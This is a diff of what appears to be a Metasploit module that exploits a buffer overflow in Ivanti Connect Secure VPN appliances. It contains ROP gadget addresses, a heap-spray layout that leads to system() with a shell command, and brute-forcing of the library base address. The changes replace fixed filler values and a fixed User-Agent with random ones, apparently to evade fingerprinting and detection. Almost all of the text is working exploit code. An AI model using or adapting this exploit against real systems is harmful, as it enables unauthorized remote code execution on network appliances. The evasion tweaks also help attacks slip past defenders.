@@ -80,7 +80,7 @@ def initialize(info = {})
8080 [
8181 OptInt . new ( 'MAX_THREADS' , [ true , 'Max threads to use when spraying' , 32 ] ) ,
8282 OptInt . new ( 'WEB_CHILDREN' , [ true , 'The number of /home/bin/web child processes' , 4 ] ) ,
83- OptInt . new ( 'LIBDSPLIBS_ADDRESS' , [ true , 'Base address of libdsplibs' , 0xf6426000 ] ) ,
83+ OptInt . new ( 'LIBDSPLIBS_ADDRESS' , [ true , 'Lowest possible base address of libdsplibs' , 0xf6426000 ] ) ,
8484 OptInt . new ( 'BRUTEFORCE_ATTEMPTS' , [ true , 'The number of attempts to brute force the base address of libdsplibs' , 256 ] ) ,
8585 ]
8686 )
@@ -125,7 +125,7 @@ def url_schema
125125 def check
126126 print_status ( "Checking the product version for #{ url_schema } ://#{ rhost } :#{ rport } " )
127127
128- # This has been fixed in version 22.7R2.6, which correspond to 22.7.2 (build 3981)
128+ # This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981)
129129 # see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf
130130 if Rex ::Version . new ( product_version ) < Rex ::Version . new ( '22.7.2.3981' )
131131 return CheckCode ::Appears ( "Detected version: #{ product_version } " )
@@ -141,13 +141,10 @@ def target_data
141141 # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
142142 '22.7.2.3597' => {
143143 overflow_length : 622 ,
144- # 0x0050c7e6: mov esp, ebp; pop ebp; ret;
145- gadget_mov_esp_ebp_pop_ret : 0x0050c7e6 ,
144+ gadget_mov_esp_ebp_pop_ret : 0x0050c7e6 , # mov esp, ebp; pop ebp; ret;
146145 offset_to_got_plt : 0x0157c000 ,
147- # 0x00033222: pop ebx; ret;
148- gadget_pop_ebx_ret : 0x00033222 ,
149- # 0x0087E31F mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
150- gadget_call_system : 0x0087E31F
146+ gadget_pop_ebx_ret : 0x00033222 , # pop ebx; ret;
147+ gadget_call_system : 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
151148 }
152149 }
153150 end
@@ -160,6 +157,35 @@ def send_http_data(data)
160157 raise IvantiNetworkError , "[send_http_data] Error with the socket: #{ e } "
161158 end
162159
160+ def user_agent
161+ return @user_agent if @user_agent
162+
163+ # list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect)
164+ # command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done`
165+ @user_agent = %w[
166+ v9.12-199-g06afc42b
167+ v9.12-198-gb82f00f7
168+ v9.12-196-g32971c1b
169+ v9.12-195-g9fe01919
170+ v9.12-193-ge4cc8a65
171+ v9.11-21-g3bc9d788
172+ v9.11-20-g3f4f3415
173+ v9.11-19-gf6d2c8d8
174+ v9.11-18-g0b47190f
175+ v9.11-17-g4ca0aa1b
176+ v9.10-26-gd40f4370
177+ v9.10-24-g5d1b0883
178+ v9.10-22-gbaa80279
179+ v9.10-21-g3fbba481
180+ v9.10-17-g15b4c533
181+ v9.01-189-g5aca5431
182+ v9.01-188-gb6b85208
183+ v9.01-187-g299d4444
184+ v9.01-186-gab5f1639
185+ v9.01-185-g77838371
186+ ] . sample
187+ end
188+
163189 def make_connections
164190 print_status ( 'Making connections...' )
165191
@@ -175,7 +201,7 @@ def make_connections
175201
176202 body = "GET / HTTP/1.1\r \n "
177203 body << "Host: #{ rhost } :#{ rport } \r \n "
178- body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty \r \n "
204+ body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{ user_agent } \r \n "
179205 body << "Content-Type: EAP\r \n "
180206 body << "Upgrade: IF-T/TLS 1.0\r \n "
181207 body << "Content-Length: 0\r \n "
@@ -202,55 +228,55 @@ def make_connections
202228 def spray ( libdsplibs_base )
203229 print_status ( 'Spraying...' )
204230
205- padding = 'D' * 128
231+ padding = rand_text ( 128 )
206232
207233 spray_pattern = [
208- # DWORD , # Address where it will be found after the heap spray
209- 0xCAFEF00D , # 0x39393818:
210- 0xCAFEF01D , # 0x3939381C:
211- 0xCAFEF02D , # 0x39393820:
212- 0xCAFEF03D , # 0x39393824:
234+ # DWORD , # Address where the DWORD will be located after the heap spray
235+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393818:
236+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939381C:
237+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393820:
238+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393824:
213239
214240 libdsplibs_base + @target [ :gadget_mov_esp_ebp_pop_ret ] , # 0x39393828: <--- initial eip control, stack pivot gadget.
215241 0x39393828 - 0x10 , # 0x3939382C:
216- 0xCAFEF06D , # 0x39393830: <--- points here @ ebp (rop: pop ebp)
242+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393830: <--- points here @ ebp (rop: pop ebp)
217243 libdsplibs_base + @target [ :gadget_pop_ebx_ret ] , # 0x39393834:
218244
219245 libdsplibs_base + @target [ :offset_to_got_plt ] , # 0x39393838: <--- eax (rop pop ebx)
220246 libdsplibs_base + @target [ :gadget_call_system ] , # 0x3939383C:
221- 0xCAFEF0AD , # 0x39393840:
222- 0xCAFEF0BD , # 0x39393844:
247+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393840:
248+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393844:
223249
224- 0xCAFEF0CD , # 0x39393848:
225- 0xCAFEF0DD , # 0x3939384C:
226- 0xCAFEF0ED , # 0x39393850:
227- 0xCAFEF0FD , # 0x39393854:
250+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393848:
251+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939384C:
252+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393850:
253+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393854:
228254
229- 0xCAFEF10D , # 0x39393858:
230- 0x3939382C , # 0x3939385C: <--- 0x39393830+0x2c ->> edx 0x3939382C
231- 0xCAFEF12D , # 0x39393860:
232- 0xCAFEF13D , # 0x39393864:
255+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393858:
256+ 0x3939382C , # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c)
257+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393860:
258+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393864:
233259
234260 0x39393918 , # 0x39393868: <--- ptr to shell_cmd, referenced @ edi
235- 0xCAFEF15D , # 0x3939386C:
236- 0xCAFEF16D , # 0x39393870:
237- 0xCAFEF17D , # 0x39393874:
261+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939386C:
262+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393870:
263+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393874:
238264
239- 0xCAFEF18D , # 0x39393878:
240- 0xCAFEF19D , # 0x3939387C:
241- 0xCAFEF1AD , # 0x39393880:
242- 0xCAFEF1BD , # 0x39393884:
265+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393878:
266+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939387C:
267+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393880:
268+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393884:
243269
244- 0xCAFEF1CD , # 0x39393888:
245- 0x41414141 , # 0x3939388C: <--- last EIP after payload exits.
246- 0xCAFEF1ED , # 0x39393890:
247- 0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
270+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393888:
271+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939388C:
272+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393890:
273+ 0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
248274
249275 # padding...
250276 # 0x39393918: shell_cmd @ edi
251277 ] . pack ( 'V*' ) + padding + @shell_cmd
252278
253- fail_with ( Failure ::BadConfig , 'spray_pattern should be 256 bytes' ) unless spray_pattern . length == 512
279+ fail_with ( Failure ::BadConfig , 'spray_pattern should be 512 bytes' ) unless spray_pattern . length == 512
254280
255281 heap_buffer = spray_pattern * ( ( 1024 * 1024 * 3 ) / spray_pattern . length )
256282
@@ -351,7 +377,7 @@ def exploit
351377 libdsplibs_base = datastore [ 'LIBDSPLIBS_ADDRESS' ]
352378
353379 _ , elapsed_time = Rex ::Stopwatch . elapsed_time do
354- # with 8 bits of entroy , we should guess correctly every ~256 attempts (2**8).
380+ # with 8 bits of entropy , we should guess correctly every ~256 attempts (2**8).
355381 0 . upto ( datastore [ 'BRUTEFORCE_ATTEMPTS' ] - 1 ) do
356382 _ , attempt_elapsed_time = Rex ::Stopwatch . elapsed_time do
357383 attempt_exploit ( libdsplibs_base )
0 commit comments